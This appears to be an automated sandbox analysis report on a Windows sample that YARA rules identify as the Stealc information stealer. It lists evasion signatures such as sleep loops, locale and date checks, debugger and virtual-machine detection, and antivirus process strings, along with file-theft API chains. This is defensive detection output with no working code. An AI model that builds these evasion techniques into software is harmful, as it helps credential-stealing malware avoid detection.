Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Window / User API: threadDelayed 359 Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Window / User API: threadDelayed 9631 Jump to behavior
Found evaded block containing many API calls
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Evaded block: after key decision
Found evasive API chain (date check)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe API coverage: 5.1 %
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API coverage: 6.5 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe TID: 7388 Thread sleep count: 359 > 30 Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe TID: 7388 Thread sleep time: -255249s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe TID: 7388 Thread sleep count: 9631 > 30 Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe TID: 7388 Thread sleep time: -6847641s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_0040E430
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 1_2_004138B0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 1_2_00414570
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_00414910
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_0040ED20
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 1_2_0040BE70
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040DE10
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_004016D0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_0040DA80
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 1_2_00413EA0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_0040F6B0
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1E697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 1_2_02D1E697
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D247D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen, 1_2_02D247D7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1EF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 1_2_02D1EF87
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D24B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D24B77
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D23B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 1_2_02D23B17
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1C0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 1_2_02D1C0D7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1DCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 1_2_02D1DCE7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1E077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D1E077
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1F917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D1F917
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D24107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 1_2_02D24107
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D11937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 1_2_02D11937
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00401160 GetSystemInfo,ExitProcess, 1_2_00401160
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000886000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000886000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW5
Source: Amcache.hve.4.dr Binary or memory string: VMware
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E33000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareF
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000886000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000886000.00000004.00000020.00020000.00000000.sdmp, A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E87000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E33000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000859000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.000000000085A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH
Source: Amcache.hve.4.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe API call chain: ExitProcess graph end node
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0042A3F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0042A3F3
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_004045C0 VirtualProtect ?,00000004,00000100,00000000 1_2_004045C0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0041EC7E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0041EC7E
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0042FE7F mov eax, dword ptr fs:[00000030h] 0_2_0042FE7F
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007F9B2B push dword ptr fs:[00000030h] 0_2_007F9B2B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A100E6 mov eax, dword ptr fs:[00000030h] 0_2_00A100E6
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009E092B mov eax, dword ptr fs:[00000030h] 0_2_009E092B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009E0D90 mov eax, dword ptr fs:[00000030h] 0_2_009E0D90
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00419750 mov eax, dword ptr fs:[00000030h] 1_2_00419750
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D10D90 mov eax, dword ptr fs:[00000030h] 1_2_02D10D90
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D299B7 mov eax, dword ptr fs:[00000030h] 1_2_02D299B7
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D1092B mov eax, dword ptr fs:[00000030h] 1_2_02D1092B
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02E09ABB push dword ptr fs:[00000030h] 1_2_02E09ABB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0043BBE1 GetProcessHeap, 0_2_0043BBE1
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0042A3F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0042A3F3
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004104F3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_004104F3
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00410686 SetUnhandledExceptionFilter, 0_2_00410686
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0040F936 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0040F936
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A0A65A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00A0A65A
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F075A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_009F075A
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F08ED SetUnhandledExceptionFilter, 0_2_009F08ED
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009EFB9D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_009EFB9D
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_0041AD48
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0041CEEA SetUnhandledExceptionFilter, 1_2_0041CEEA
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_0041B33A
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D2AFAF memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_02D2AFAF
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D2B5A1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_02D2B5A1
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D2D151 SetUnhandledExceptionFilter, 1_2_02D2D151
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: A8A9.tmp.exe PID: 7404, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 1_2_00419600
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D29867 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 1_2_02D29867
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Process created: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe "C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe" Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0041079B cpuid 0_2_0041079B
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 0_2_0043B02A
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_004351E0
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_0043B2ED
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_0043B2A2
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_0043B388
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 0_2_0043B415
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_0043B665
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 0_2_0043B78E
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_0043B895
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 0_2_0043B962
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_00434DED
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_00A15054
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 0_2_00A1B291
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_00A15447
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_00A1B5EF
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_00A1B509
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: EnumSystemLocalesW, 0_2_00A1B554
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_00A1B8CC
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 0_2_00A1B9F5
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetLocaleInfoW, 0_2_00A1BAFC
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 0_2_00A1BBC9
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 1_2_00417B90
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 1_2_02D27DF7
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004103ED GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_004103ED
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 1_2_00417850
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 1_2_00417A30
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0041640A GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8, 0_2_0041640A
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.4.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Stealc
Source: Yara match File source: 1.3.A8A9.tmp.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.2d10e67.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.A8A9.tmp.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.2d10e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1833028905.0000000002D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
